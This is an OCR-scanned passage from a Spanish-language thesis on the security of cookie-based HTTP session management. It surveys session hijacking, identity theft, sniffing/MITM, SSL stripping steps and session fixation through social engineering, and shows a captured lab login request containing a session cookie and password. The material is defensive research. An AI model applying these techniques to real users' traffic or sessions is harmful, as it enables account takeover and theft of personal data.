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INTRODUCCION

HTTP es un protocolo ampliamente utilizado para la navegacion en Internet.
Definido en los estdndares [8], [27], [28] y [7], HTTP es un protocolo de apli-
cacién que no maneja estados. Debido a esto, HTTP no puede manejar se-
siones de usuario puesto que no permite a las aplicaciones web mecanismos
para distinguir para un requerimiento recibido, el cliente que lo hizo. En la
actualidad, las aplicaciones web implementan sesiones HTTP siguiendo el
estdndar definido en [6], el cual incorpora cabeceras adicionales al protocolo
HTTP y especifica la forma en que las aplicaciones web y los navegadores

deben utilizarlas.

Si bien las cookies son ampliamente utilizadas actualmente, su uso desde un
principio fue controversial, puesto que con ellas se puede comprometer la
privacidad de la navegacion de los usuarios en la Web. Ademads, la presencia
de vulnerabilidades en las aplicaciones web pueden ser aprovechadas para

manipular el mecanismo de manejo de sesiones actualmente utilizado.

El robo de cookies, ya sea por ataques de sniffing de red como por ataques
que aprovechen vulnerabilidades web permite comprometer la seguridad
del acceso de las aplicaciones web. Las vulnerabilidades web pueden sim-
plemente hacer un mal uso de los tokens de sesién utilizados o también
permitir la ejecucién de cédigo JavaScript en el navegador del usuario vic-
tima. Si un atacante puede ejecutar cédigo JavaScript en el navegador de
la victima entonces podra robar su cookie de sesién. Una cookie de sesién
valida puede ser utilizada para robar la identidad del usuario atacado com-
prometiendo no sélo su acceso sino también la confidencialidad de sus datos

personales en la aplicacién web.

1.1 OBJETIVOS DE ESTA TESIS

Los objetivos propuestos que se esperan alcanzar a lo largo del desarrollo

de esta tesis son:

= Analizar el manejo de sesiones de usuario en aplicaciones web.
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Evaluar los riesgos de seguridad a los que estas estdn expuestas las
aplicaciones web al utilizar el actual mecanismo de manejo de sesio-

nes.

Estudiar sobre problemas de seguridad en aplicaciones web.

Evaluar el compromiso de la seguridad de las aplicaciones web, en
particular en el manejo de sesiones a través de distintos tipos de ata-

ques.

» Disefiar e implementar un mecanismo alternativo para el manejo de
]

sesiones HTTP pensando en la seguridad de las aplicaciones web.

Desarrollar una prueba de concepto que permita verificar el correcto
funcionamiento del mecanismo propuesto.

= Analizar ventajas y desventajas, en lo que a seguridad, privacidad y
funcionalidad respecta, del mecanismo propuesto respecto del que se
utiliza actualmente.

1.2 IMPLEMENTACION

Es intencién de esta tesis disefiar e implementar un mecanismo alternativo
de manejo de sesiones web mds seguro que el actualmente utilizado. Los
ataques que se evaluardn serdn tanto ataques cldsicos de robo de sesién
como asi también ataques que explotan errores comunes de programacién
que ponen en riesgo la seguridad de las sesiones de usuarios de la aplicacion

web.

Para implementar el mecanismo propuesto se creard un moédulo de apa-
che y se estableceran configuraciones necesarias para que dicho mecanismo
funcione en forma correcta. El mecanismo alternativo propuesto debera ser
independiente de la tecnologfa utilizada (PHP, Java, Perl, Python, Ruby, etc)

y funcionar de forma transparente con aplicaciones web existentes.

A partir del resultado del desarrollo propuesto, se realizardn comparaciones
entre el mecanismo actual y el propuesto. Se analizaran problemas de fun-
cionalidad de las aplicaciones web. Se utilizaran aplicaciones web desarro-
lladas con distintas tecnologfas. Ademas se evaluardn distintos problemas
de seguridad y privacidad a los que estan expuestas aplicaciones que utili-
zan tanto el mecanismo actual como el mecanismo de manejo de sesiones

web propuesto.

El resultado esperado en el d&mbito concreto de aplicacién, es el de poder
describir e implementar un mecanismo alternativo de manejo de sesiones

web el cual sea inmune a distintos problemas de seguridad a los que estan
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expuestos las aplicaciones web y que ademads ayude a preservar la privaci-
dad de los usuarios.

1.3 DESARROLLO DE TEMAS

El capitulo 2 es una introduccion al protocolo HTTP y al manejo de sesiones
web. Luego, en el capitulo 3 se abordan problemas de seguridad y de priva-
cidad que tiene el mecanismo de manejo de sesiones actualmente utilizado.
Ademads, se analizaran técnicas que permiten a un atacante revelar informa-
cién sensible que permitiria comprometer la seguridad de las sesién web de
los usuarios de una aplicacién web. El capitulo 4 se realizan pruebas de se-
guridad sobre aplicaciones web con el objeto de mostrar distintas maneras
de atacar y manipular el mecanismo de manejo de sesiones web utilizado

por las aplicaciones web.

En el capitulo 5 se resumen distintas iniciativas relacionadas con temaéticas
relacionadas con mejorar la seguridad y la privacidad de las aplicaciones
web. Ademds, se enumeran buenas practicas tanto para desarrolladores co-
mo para administradores con el objetivo de reducir los problemas que pue-
den atentar contra la seguridad del mecanismo de manejo de sesiones de

las aplicaciones web.

El capitulo 6 describe una propuesta alternativa para el manejo de sesio-
nes web y se evaltian aspectos de seguridad y privacidad. Por dltimo, se
analizan ventajas y desventajas del mecanismo propuesto respecto del me-
canismo utilizado actualmente por las aplicaciones web. En el capitulo 7 se
describe el desarrollo y la implementacién del mecanismo propuesto. Tam-
bién se detallan resultados de las pruebas realizadas. Por tltimo, el capitulo

8 presentan las conclusiones alcanzadas a lo largo del trabajo.

1.4 RESULTADOS OBTENIDOS

El mecanismo de manejo de sesiones web actualmente utilizado se vale del
intercambio de cookies. Las cookies intercambiadas es un secreto comparti-

do que deberia ser conocido sélo por el cliente y el servidor.

El uso de cookies permite que se vea afectada la privacidad de la navegacién
de los usuarios. Ademds, la manipulacion del mecanismo de manejo de
sesiones de aplicaciones web con errores en su codificacién, permite revelar

informaciéon de cookies de sesién de uno o varios usuarios vélidos.

El proyecto de OWASP: “Top Ten Project” enumera los problemas de segu-

ridad més riesgosos para las organizaciones que pueden encontrarse en una
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aplicacién web. Muchos de estos problemas permiten realizar ataques para
robar informacién de cookies de sesién de los usuarios de la aplicacién web.

En este trabajo se propone un mecanismo diferente para el manejo de las
sesiones web. Con dicho mecanismo, se mejora la seguridad de las apli-
caciones web. El mecanismo propuesto, publicado en [43], no mantiene un
secreto compartido entre el cliente y el servidor como actualmente lo son las
cookies. Al no haber un secreto compartido que proteger, el mecanismo re-
sulta inmune a problemas de seguridad existentes en aplicaciones web que
hoy en dia utilizan el actual mecanismo de manejo de sesiones. La prueba
de concepto con la que se corrobor6 el mecanismo propuesto, fue pensa-
da para funcionar de forma transparente a aplicaciones web existentes, de
modo que éstas no deban ser reescritas para poder utilizarlo.



EL PROTOCOLO HTTP

HTTP[28] es un protocolo de aplicaciéon que permite a los usuarios navegar
en la World Wide Web o WWW. La World Wide Web es un sistema distri-
buido de documentos interconectados mediante hiperenlaces. Utilizando un
navegador web, un usuario puede acceder y visualizar sitios web compues-
tos de paginas web que pueden contener texto, imagenes, videos u otros
contenidos multimedia.

HTTP es el protocolo que permite al usuario solicitar distintos tipos de re-
cursos al servidor web. En 2.1 se ilustra la operatoria basica del funciona-
miento del protocolo HTTP en la que el cliente realiza requerimientos HTTP
al servidor web, los cuales son respondidos via respuestas HTTP.

HTTP se consolidé rapidamente como el protocolo de aplicacién por exce-
lencia debido a su masiva utilizacién por parte de los usuarios de Internet.
Actualmente los servicios dados por otros protocolos de aplicacién como
los relacionados con el sistema de correo electrénico (SMTP, POP, IMAP) se
brindan utilizando HTTP mediante aplicaciones web especificamente dise-
fiadas para ello.

2.1 SESIONES DE USUARIO

Podemos definir una sesién de usuario a la posibilidad de identificar uni-
vocamente en el servidor al usuario asociado con el requerimiento recibido.
Los protocolos de aplicacién que utilizan TCP como protocolo de transpor-
te, se valen de este para establecer la sesién del usuario, asociando dicha
sesioén con la conexion TCP establecida.

HTTP es un protocolo de aplicacion sin estados. En la primer versién del
protocolo HTTP, para cada recurso que se queria acceder HTTP utilizaba
una nueva conexién TCP. Una pagina web con mdltiples recursos, generaba
que los navegadores utilizaran diferentes conexiones HTTP para poder car-
garla. Es por esto que si bien HTTP utiliza TCP como protocolo de transpor-

te, esto no lo beneficia para manejar adecuadamente las sesiones de usuario.
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Figura 2.1: Operacién basica de HTTP

Por otro lado, la gran cantidad de usuarios existentes en la World Wide Web
gener? la necesidad de disponer de algiin mecanismo de manejo de sesio-
nes de usuario en las aplicaciones web. Para lograr implementar sesiones
de usuario, fue necesario introducir algunos cambios en la forma de utilizar
el protocolo de aplicacién HTTP. Este nuevo tipo de aplicaciones web per-
mitieron una gran variedad de nuevos tipos de aplicaciones web las cuales
permitieron el comercio en Internet (e-commerce), la operacién de la banca

en linea (homebanking) o los portales de correo electrénico (webmails).

2.2 SESIONES WEB

10

Las sesiones web en HTTP fueron posibles gracias a un desarrollo de Netscape[46].

Esta iniciativa es la que permiti6 la aparicién de un nuevo tipo de aplicacio-
nes web. El mecanismo propuesto por Netscape, no alter6 el funcionamiento
del protocolo HTTP sino que utilizaba encabezados HTTP adicionales.

La propuesta de Netscape, llamé “cookies” a la informacién intercambia-
da en los encabezados HTTP entre el navegador web y la aplicacién web.
Este término se siguié utilizando en futuras recomendaciones de la IETF
(Internet Engineering Task Force) que estandarizaron el manejo de sesiones
HTTP[39][40][6] las cuales estaban basadas en la idea original de Netsca-
pe. Hoy en dia, gracias al estdndar definido a partir de la idea original de
Netscape, las aplicaciones web pueden manejar sesiones de usuario.

De la mano del uso de las cookies en el manejo de sesiones web aparecieron
nuevos tipos de aplicaciones web dado que las cookies permitieron asociar
los requerimientos recibidos por un servidor web con el usuario en particu-
lar que los realiz6. Debido a esto, las aplicaciones web pudieron autenticar
usuarios, personalizar la informacién mostrada, autorizar accesos a recursos
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provistos por la aplicacién web e incluso auditar las acciones realizadas por
los distintos usuarios dentro de un sistema web. Sin embargo, a pesar de
que la idea original de Netscape potencié el uso de la Web, las cookies de
sesion fueron la puerta de entrada a distintos problemas de seguridad[47]
y de privacidad[66] relacionados con la navegacién de los usuarios en Inter-

net.

En [41], David Kristol, uno de los autores de los primeros estdndares del me-
canismo de manejo de sesiones HTTP, explica cémo funcionan las cookies y
como evoluciond la especificacion original de Netscape hasta convertirse en
un estandar propuesto IETE. Ademads, en [41] brinda una perspectiva perso-
nal sobre el modo en que, lo que comenzé como una especificacién técnica,
al intentar abordar asuntos no técnicos como la privacidad, se convirtié en

una cuestion politica.

Ademas, el uso de las cookies se presta a problema de seguridad en las
aplicaciones web dado que con éstas es posible manipulacién el mecanismo
de manejo de sesiones para realizar distintos tipos de ataques:

= Robo de sesiones: cuando la sesiéon HTTP de un usuario, es utilizada

por un tercero.

= Robo de identidad: cuando un tercero tiene la posibilidad de establecer
una sesién de usuario vélida con la identidad de otro usuario.

= Denegacion de servicio: cuando un tercero es capaz de volver inac-
cesible el sistema. Esto provoca que un usuario valido quiera usar el
sistema y el mismo no esté disponible.

Las cookies, que deberian ser un secreto compartido entre el navegador web
del usuario y la aplicacién web, pueden ser obtenidas por un atacante de

distintas maneras:

= Mediante la manipulacién de problemas de seguridad de las aplicacio-
nes web.

= Mediante la manipulacién de protocolos de red utilizados en la comu-

nicacién entre el navegador web y el servidor web.
= Accediendo fisicamente a la computadora de los usuarios.
= Mediante la utilizacién de malware en la computadora de los usuarios.

Los problemas de seguridad en una aplicacién web pueden afectar no s6-
lo los datos de la organizacién sino también dafiar seriamente su imagen.
Debido a esto, el desarrollo seguro de las aplicaciones web se convirtié en
un aspecto critico en la actualidad. El desarrollo seguro de aplicaciones web
comprende el uso de principios de seguridad y buenas practicas en todo el

11
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ciclo de vida del software[81] con el objeto de crear aplicaciones en las que
se garanticen:

» La seguridad de los datos: integridad, confidencialidad y disponibili-
dad.

= La integridad de las transacciones. Con esto se hace referencia a que
las acciones realizadas en la aplicacién web por un usuario estén aso-

ciadas a las operaciones que dicho usuario quiso realizar.

En la misma sintonia, la Fundacién OWASP[57] desde el 2001 concentra sus
esfuerzos en concientizar y educar a la comunidad para mejorar la segu-
ridad de las aplicaciones web. OWASP, que viene de “Open Web Applica-
tion Security Project”, ofrece a usuarios, administradores, desarrolladores y
analistas de seguridad guias, herramientas, informes, presentaciones, reco-
mendaciones y otros recursos con el objeto de ayudar a las organizaciones
a utilizar, desarrollar y mantener aplicaciones de manera confiable. Entre
estos recursos ofrecidos por OWASP, podemos destacar:

= La guia de desarrollo seguro[53] y las hojas de referencia relacionadas

con distintos aspectos en el desarrollo seguro[50].

= La guia de testing[56] para la verificacién de seguridad de aplicaciones
web.

= La guia de revisién de cédigol[52].

= El estudio sobre vulnerabilidades méas riesgosas en las aplicaciones
web Top Ten Project[58].
El primer estudio de vulnerabilidades fue publicado en el afio 2004 y
se actualiza periédicamente cada 3 afios.

12
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En este capitulo, se abordaran los problemas de seguridad y privacidad que

se aprovechan del mecanismo de manejo de sesiones actualmente utilizado

por aplicaciones web. En este sentido, inicialmente se hard una introduccién

sobre el funcionamiento de dicho mecanismo. Posteriormente se analizardn

problemas de seguridad que pueden existir en las aplicaciones web y cémo

estos problemas ponen en riesgo la seguridad de los usuarios. Por tdltimo,

se analizardn problemas de privacidad que surgieron con el presente meca-

nismo de manejo de sesiones web.

3.1

ESTADO DEL ARTE DEL MANEJO DE SESIONES HTTP

Actualmente, la operacién basica para el establecimiento de una sesién HTTP

o0 sesién web se ilustra en la figura 3.1 y se puede resumir con los siguientes

pasos:

= Primero, el usuario visita un sitio web haciendo un requerimiento

HTTP desde su navegador.

El servidor busca en el requerimiento recibido, informacién de cookies
de sesién que le permitan asociar dicho requerimiento con algtn usua-
rio existente:

e En caso de que no haya informacién de cookies de sesién en el
requerimiento, el servidor establece una cookie de sesién y la
envia al usuario utilizando un encabezado especifico dentro de
la respuesta HTTP.

Cuando el navegador del usuario recibe la respuesta HTTP, extrae la
cookie de sesién enviada por el servidor y la almacena localmente
para usarla en futuros requerimientos HTTP que se realicen a dicho

sitio web.

De ahora en adelante, mientras la cookie de sesién sea valida, todos los
requerimientos HI'TP que se hagan desde el navegador del usuario al

13
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Cliente HTTP Servidor HTTP

HTTP no fiene estados

—_—— —

Tiempao despues se envia otro requerimiento. El usuario
que lo hace estd identificado por el valor de la cookie 1D

Figura 3.1: Establecimiento sesién HTTP

sitio web, incluirdn las cookie de sesion en encabezados HTTP dentro
de cada requerimiento realizado.

= El sitio web inspeccionaré la informacién de cookies recibida en to-
dos los requerimientos HTTP y la utilizard para asociar los distintos
requerimientos HTTP recibidos con el usuario usuario adecuado.

3.2 PROBLEMAS DE SEGURIDAD CON EL MECANISMO DE MANEJO DE
SESIONES HTTP

En una aplicacién web pueden existir distintas vulnerabilidades. Estas vul-
nerabilidades, de forma independiente o combinada, se pueden utilizar para
la elaboracién de distintos tipos de ataques. Estos ataques se pueden aprove-
char del mecanismo de manejo de sesiones de la aplicacién web para afectar
la seguridad y la privacidad de sus usuarios.

A continuacién se enumeran ataques posibles al mecanismo de manejo de
sesiones HTTP:

= Ataques de robo de sesién



3.2 PROBLEMAS DE SEGURIDAD CON EL MECANISMO DE MANEJO DE SESIONES HTTP 15

= Ataques de robo de identidad
= Ataques a la confidencialidad de las comunicaciones
= Ataques a la integridad de las operaciones realizadas por el usuario

Es de destacar que pueden existir diferentes maneras de llevar a cabo cada
uno de estos ataques. La manera de realizar un ataque sobre una aplicacién
web puede depender de aspectos particulares como disefio, implementaciéon

o incluso configuracién del servidor en el que la aplicacién se aloja.

Ataques de robo de sesién

Se entiende por robo de sesién, cualquier manipulacién sobre una aplica-
cién web que permita a un tercero utilizar la sesién web de otro usuario. En
una sesién robada, el atacante puede usar la aplicacion web como si fuese
el usuario victima. Recordemos que el uso de cookies es la tinica forma que
tiene una aplicaciéon web para reconocer los requerimientos HTTP realiza-
dos por los distintos usuarios, por lo que el robo de las cookies de sesién
es la piedra fundamental de este ataque. Dependiendo del disefio de la apli-
caciéon web atacada, robar las cookies de sesién de un usuario podria ser
condicién suficiente para lograr realizar de manera exitosa, un ataque de

robo de sesioén.

El disefio de una aplicacién web de HomeBanking, seguramente no permita
que una cookie de sesién sea utilizada desde dos direcciones IP diferentes.
Sin embargo, aplicaciones web como Facebook o Gmail por ejemplo, asu-
men que el usuario se conecta desde distintos lugares en forma simultdnea
(computadora, smartphone, tablet) por lo que en ellas se permite utilizar la
misma cookie de sesién desde distintas direcciones IP.

Por lo tanto, para realizar un ataque de robo de sesién HTTP un atacante ne-
cesita poder robar la informacién de cookies de sesién intercambiada entre
un usuario y la aplicacién web. Por el modo en que se manejan las sesio-
nes web, la cookie podria llegar a ser utilizada en simultdneo tanto por el
atacante como por la victima, permitiendo a ambos acceder a la sesién web
del usuario. Cuando cualquiera de ellos cierre la sesién, la misma dejara de
funcionar para ambos.

Existen distintas técnicas que se verdn a continuacién que se pueden utilizar
para robar cookies de sesién de una aplicacion web. Un ataque de robo de
sesion puede valerse de:

= Técnicas de sniffing / MITM.
= Técnicas de SSL spoofing.

= Ingenieria social sobre los usuarios.
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= Inspeccién de datos en navegadores web.

= Explotacién de vulnerabilidades web.

Ataques de robo de identidad

Se entiende por robo de identidad a la posibilidad de que un atacante utilice
credenciales de acceso robadas sobre una aplicaciéon web. En un ataque de
robo de identidad, un atacante logra el mismo control sobre el sistema que
el usuario duefio de las credenciales de acceso. A diferencia de un ataque
de robo de sesion, en el robo de identidad el atacante podria lograr un
acceso perpetuo sobre el sistema, incluso luego de que el usuario duefio del
acceso cambie su contrasefia. Es por esto que, cada vez, es mas frecuente ver
aplicaciones web que permiten a los usuarios realizar una desconexién de

todos los dispositivos desde los que el usuario estd conectado.

El robo de identidad se puede lograr a través del robo de credenciales de
acceso vdlidas, las cuales se pueden obtener mediante:

= Técnicas de sniffing / MITM.

Técnicas de SSL spoofing.

Ingenieria social sobre los usuarios.

Inspeccién de datos en navegadores web.

Explotacién de vulnerabilidades web.

Ataques a la confidencialidad de las comunicaciones

Proteger la confidencialidad de las comunicaciones es de vital importancia.
Si se compromete la informacién intercambiada en las comunicaciones de
un usuario, se comprometen entre otros, sus credenciales de acceso a la
aplicacién web como asi también su cookies de sesién. La confidencialidad

de las comunicaciones puede ser comprometida mediantes:
= Técnicas de sniffing / MITM.
= Técnicas de SSL spoofing.

= Ingenierfa social a los usuarios.

Ataques a la integridad de las operaciones realizadas por el usuario

Los ataques a la integridad de las operaciones son posibles debido al me-
canismo actual de manejo de sesiones. Este tipo de ataque se refiere a la

posibilidad de que un tercero logre que un usuario realice sobre el sistema

16
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Atagues

Robo de | Robo de |Confidencialidad de| Integridad de
sesion | identidad [las comunicaciones |las operaciones

Sniffing / MITM X X X

SSL spoofing X X X

Ingenieria social a
los usuarios

Inspeccion de da-
tos en el navega- X X
dor de la victima

Teécnicas

Explotacion de
Vulnerabilidades X X X
web

Figura 3.2: Técnicas utilizadas en los distintos tipos de ataques

web una operacién determinada. El usuario victima, ni siquiera estd al tan-
to de la operacién realizada en la aplicaciéon web. Para lograr este tipo de
ataques, un atacante, ademds de valerse de determinados fallos en el cédigo
de una aplicacién web, necesita de una cuota de ingenieria social sobre el
usuario atacado. Una vez realizado el ataque, es dificil para la victima saber

en qué momento fue atacada.

3.2.1  Técnicas utilizadas en ataques contra el manejo de sesiones web

Existen distintas técnicas que se pueden utilizar de manera indistinta en
ataques de robo de sesién, ataques de robo de identidad, ataques a la con-
fidencialidad de las comunicaciones y ataques contra la integridad de las
operaciones. En la figura 3.2 se resumen las técnicas posibles y se las asocia
a los ataques en la que dicha técnica aplica. Cada técnica se puede utilizar
en varios ataques. Debido a esto, se describirdn las técnicas en si mismas,

independientemente del ataque realizado con cada una de éstas.

Técnicas de sniffing / MITM

Se entiende por sniffing a la inspeccién, por parte de un tercero, de los
paquetes de red que llegan a una computadora. Por otro lado, se entiende
por MITM[54], a la manipulacién de las comunicaciones con el objeto de
lograr el sniffing. MITM proviene de la frase en inglés “Hombre en el medio”
(Man In The Middle).
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El objetivo del MITM es hacer que las comunicaciones de alguien pasen
por la computadora del atacante para poder luego hacer sniffing de los
paquetes. Las técnicas de sniffing y MITM resultan ttiles para el atacante
cuando la aplicaciéon web utiliza canales de comunicacién inseguros. Un
canal de comunicacién se considera inseguro cuando el transporte de datos
se realiza de manera no cifrada. En las aplicaciones web que operan sobre
HTTP, toda la informacién intercambiada entre el cliente y el servidor puede

ser descubierta mediante técnicas de sniffing y MITM.

Las aplicaciones web pueden evitar los problemas de sniffing y MITM me-
diante el uso de comunicaciones seguras. Para ello, es posible utilizar el
protocolo HTTPs[63], el cual incorpora sobre HTTP una capa de seguridad.
Para implementar esta capa segura, inicialmente se utiliz6 SSL (Secure Soc-
kets Layer)[31] y actualmente se recomienda utilizar TLS (Transport Layer
Security)[25].

Las comunicaciones de una sesién web no debidamente protegidas pueden
ayudar a un tercero a obtener informacién valiosa. Esta informacién puede
incluir credenciales de acceso, cookies de sesiéon y también datos personales
del usuario conectado. Esta informacién puede ser obtenida por un tercero
mediante técnicas de sniffing en la red donde estd conectado el usuario
atacado, la red donde esta el servidor o cualquier otra red que forme parte
del camino entre el cliente y el servidor. A pesar de las distintas alternativas
que tiene el atacante para llevar a cabo el ataque, lo més comun es que el
sniffing se realice en la red donde esta el usuario atacado puesto que:

= Para el atacante es mas factible conectarse a dicha red.

= Se pueden afectar todas las comunicaciones que el usuario realice con
distintos servicios.

Cuando se habla de ataques de sniffing, resulta importante la tecnologia de
interconexién utilizada en el armado de la red LAN. Si la red estd interco-
nectada utilizando un hub entonces el ataque de sniffing sera trivial. Puesto
que todos los miembros de la red ven todos los paquetes que se intercam-
bian, ejecutando un analizador de protocolos se puede examinar todo el
tréfico de la red.

Sila LAN, por el contrario estd interconectada con un switch, el sniffing por
si solo no seréd efectivo. Un switch distingue las computadoras conectadas
en cada uno de sus puertos, de modo de enviar por cada puerto solamente
las tramas tipo broadcast y las que tienen como destino la computadora
conectada a dicho puerto. Para poder ejecutar de manera exitosa un ataque
de sniffing, serd necesario ejecutar previamente un ataque MITM, lo que se
puede lograr a través de la manipulacién de distintos protocolo como ARP
[78], ICMP[65] o DHCP[80] por ejemplo.
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la Follow TCP Stream - 4+ %

Stream Content

POST /login.php HTTP/1.1

Host: www.mitesis.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
|Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|Accept-Language: en-US,en;q=0.5

|Accept-Encoding: gzip, deflate

Referer: http://www.mitesis.com/login.php

Cookie: PHPSESSID=n8gm6poec60dg9fgacmbérab642; security=low

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 44

username=admin&password=password&Login=LoginHTTP/1.1 3082 Found
Date: Sat, 09 May 2015 13:36:58 GMT

server: Apache/2.2.22 (Ubuntu)

X-Powered-By: PHP/5.3.10-1ubuntu3.13

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Location: index.php

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 20

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

Entire conversation (6339 bytes) v

Q Find | ZXSaveAs | @ Print (O AsCll O EBCDIC O HexDump O CArrays @ Raw

Figura 3.3: Inspeccién de datos en el requerimiento y respuesta HTTP

Con técnicas de sniffing y MITM, se pueden realizar ataques a la confiden-
cialidad de las comunicaciones simplemente inspeccionando el trafico de
red de las comunicaciones para obtener informacién personal del usuario.
También se pueden realizar ataques de robo de sesién al extraer las cookies
de sesién que viajan en cada uno de los requerimientos HTTP realizados
por el usuario. Dependiendo de la aplicaciéon web, es posible acceder a la
sesion del usuario simplemente configurando el navegador web con la co-
okie obtenida. Por dltimo, para llevar a cabo robo de identidad es necesario,
durante el sniffing, capturar el requerimiento HTTP en el que el usuario se
autentica. Dado que el usuario podria ya estar autenticado al momento del
sniffing, se puede puede utilizar la cookie para robar la sesién del usuario
solamente para cerrarle su sesién e invalidar la cookie utilizada. De este mo-
do, el usuario deberd volver a autenticarse, pudiendo el atacante obtener el

requerimiento HTTP en el que viajan los datos de conexién del usuario.

En la figura 3.3 se puede ver en rojo, la cookie de sesién, el usuario y la
contrasefia en el requerimiento HTTP enviado por el usuario. En azul se

aprecia la informacién de la respuesta HTTP enviada por el servidor.

Técnicas de SSL spoofing

Si la aplicaciéon web brinda el servicio a los usuarios a través de comunicacio-
nes seguras, es decir utilizando el protocolo HTTPs, entonces las técnicas de
sniffing no serdn efectivas. Debido a esto, no es posible realizar ataques de
robo de sesién, robo de identidad o simplemente ataques a la confidenciali-
dad de las comunicaciones de aplicaciones que utilizan HTTPs. Al realizar
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:~§ curl http://mail.info.unlp.edu.ar
<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>382 Found</title>
</head><body>
<h1=Found</h1>
<p>The document has moved <a href="https://mail.info.unlp.edu.ar/">here</a>.</p=>
</body></html=>
)

Figura 3.4: Redireccién desde HTTP a HTTPs

el sniffing del tréfico, el atacante podra capturar toda la informacién de
las comunicaciones de la victima pero no podré interpretarla por estar esta
cifrada.

Supongamos un usuario intenta acceder a una aplicacién web que opera
en forma segura, es decir con HTTPs. En la interaccién del usuario con la
aplicacién web, la conexiéon HTTPs se puede establecer dependiendo de la
configuracion del servidor web de distintas formas:

1. El servidor s6lo permite comunicaciones HTTPs. Ninguna comunica-
cion HTTP es permitida. En este escenario el usuario debe ingresar en
la URL el enlace HTTPs al sitio web. Por ejemplo, suponiendo que el
sitio es www.test.com, deberd ingresar: https://www.test.com.

2. El servidor redirecciona todas las comunicaciones HTTP hacia la ver-
sion HTTPs de él mismo. En la figura 3.4 se ve una peticién a http:
//mail.info.unlp.edu.ar/ cuya respuesta utiliza un c6digo asociado
a redireccién que informa que se deberd ir a otra URL, la cual es la ver-
sién segura del servicio, es decir, https://mail.info.unlp.edu.ar/.

3. El usuario visita un sitio web que funciona sobre HTTP. En la péagina
respondida por el servidor, hay enlaces a secciones que funcionan so-
bre HTTPs porque la seguridad de dichas secciones asi lo requieren.

En la figura 3.5 se ve que el usuario accede a http://www.afip.gob.

ar/ y cuando acerca el puntero a “INGRESAR”, la URL mostrada al
pie de la pagina revela que el enlace es a la URL a la que se accederia
es https://auth.afip.gob.ar/contribuyente/. En Argentina, esto
se ve en los sitios de muchos bancos en los que la pagina institucional
del mismo es HTTP pero si se ingresa al enlace que permite utilizar el

servicio de Homebanking, se ingresa a un sitio seguro.

Como ya dijimos, al usar HTTPs, las aplicaciones web se aseguran que no
puedan ser atacadas mediante técnicas de sniffing. Sin embargo, es posi-
ble atacar aplicaciones web que utilizan HTTPs a través de un ataque mads
complejo llamado SSL spoofing. El SSL spoofing se apoya en algunas de
las técnicas ya vistas para manipular usuarios, protocolos y paquetes con
el objeto de poder acceder a la informacién intercambiada en lo que nor-
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Figura 3.5: Enlaces HTTPs sobre pagina HTTP

malmente serfa una comunicacién HTTPs. Para realizar un ataque de SSL

spoofing es necesario:

1. MITM: Para posicionar al atacante en el camino entre el usuario y
el servidor. Esto es necesario para que el atacante se convierta en la
puerta de salida por defecto (default gateway) del usuario atacado
para sus comunicaciones de red. Independientemente si la red LAN
utiliza un hub o un switch, esta técnica no es opcional puesto que es
necesaria para redireccionar al usuario, no simplemente hacer sniffing
de su tréfico de red.

2. Redireccién de paquetes: Para encausar de manera transparente el tra-
fico HTTP de la victima hacia una especie de servidor proxy HTTP
que serd el encargado de llevar a cabo el ataque de SSL spoofing pro-
piamente dicho.

3. SSL spoofing: Para manipular el contenido de las paginas HTTP recibi-
das por el servidor web visitado. Esta manipulacién permite engafiar
al usuario victima del ataque para que nunca establezca una comuni-
cacion segura (HTTPs) contra el sitio que quiere visitar. Esto serd lo
que posteriormente se pueda interpretar el contenido de las comuni-
caciones de la victima del ataque. En la figura 3.6, se puede apreciar
de que manera el atacante puede manipular las comunicaciones para
evitar que el cliente inicie una conexién HTTPs. Para ello, se realizan
algunos cambios sobre las respuestas recibidas del servidor, de modo
que el cliente nunca reciba redirecciones a sitios o enlaces HTTPs.

4. Sniffing: Una vez implementado el ataque de SSL spoofing se podra
capturar todo el tréfico de red del usuario victima siendo posible in-

terpretar la informacién transmitida.
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Protocolo HTTP
DATOS NO CIFRADO
Comunicacién Insegura

Servidor HTTP

Clitj:z.nt.e .I-.|TTF’ www.test.com

Atacante

Figura 3.6: SSL Spoofing

Debido a esto, a través de ataques de SSL spoofing es posible manipular
comunicaciones HTTPs de modo tal de realizar ataques de robo de sesién,
ataques de robo de identidad y ataques contra la confidencialidad de las

comunicaciones.

Ingenieria social a los usuarios

La ingenieria social[79] es un término utilizado para referirse a un conjunto

de técnicas y habilidades sociales utilizadas para el engafio de las personas.

Mediante ingenieria social es posible obtener informacién valiosa de una

persona. También es posible incitar a que una persona realice alguna accién
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determinada, sin que ésta persona sepa que dicha accién la perjudica y
beneficia a un tercero.

Existen muchas formas de obtener informacién de una persona mediante
técnicas de ingenieria social. La mejor manera de prevenir a las personas
sobre este tipo de ataques es mediante concientizacién. Fuera del mundo de
la informatica, una forma de ingenieria social puede ser el conocido “cuento
el tio”. Del mismo modo que la gente estd prevenida sobre distintos tipos de
recursos utilizados para estafar a la gente, en una organizacion el personal
deberia estar concientizado en temas de seguridad de la informacién.

Un ejemplo de ingenierfa social son los correos electrénico que, intentando
hacer creer que vienen del administrador de nuestra organizacién, piden
que sean respondidos con informacién de nuestras credenciales de acceso.
Sobre aplicaciones web, dependiendo de cémo esté implementado el manejo
de sesiones, pueden existir distintas maneras de realizar ataques de robo de
sesién utilizando ingenierfa social. Una manera podria ser incitando a la
victima a conectarse utilizando una computadora en particular. A la victima
se le presentaria el portal donde poner sus credenciales para iniciar sesién
de modo de poder ingresar al sitio web. Lo que puede parecer inofensivo
no lo es si consideramos que el atacante pudo haber analizado previamente
la cookie de sesién negociada por el navegador con el sitio web. Cuando el
usuario atacado inicie sesién, el atacante sabrd la cookie de sesién que el

sitio web considera vélida para dicho usuario.

En una aplicacién web que haga un manejo de sesiones web adecuado, se

renovarian las cookies utilizadas luego del inicio de sesién de los usuarios.

Inspeccién de datos en navegadores web

Un navegador web mantiene una gran cantidad de informacién interesante.
Ya sea por descuido del usuario o por ingenieria social, si un tercero logra
utilizar la computadora del usuario, entonces podria acceder a:

= Cookies de sesion utilizadas en los distintos sitios web que el usuario
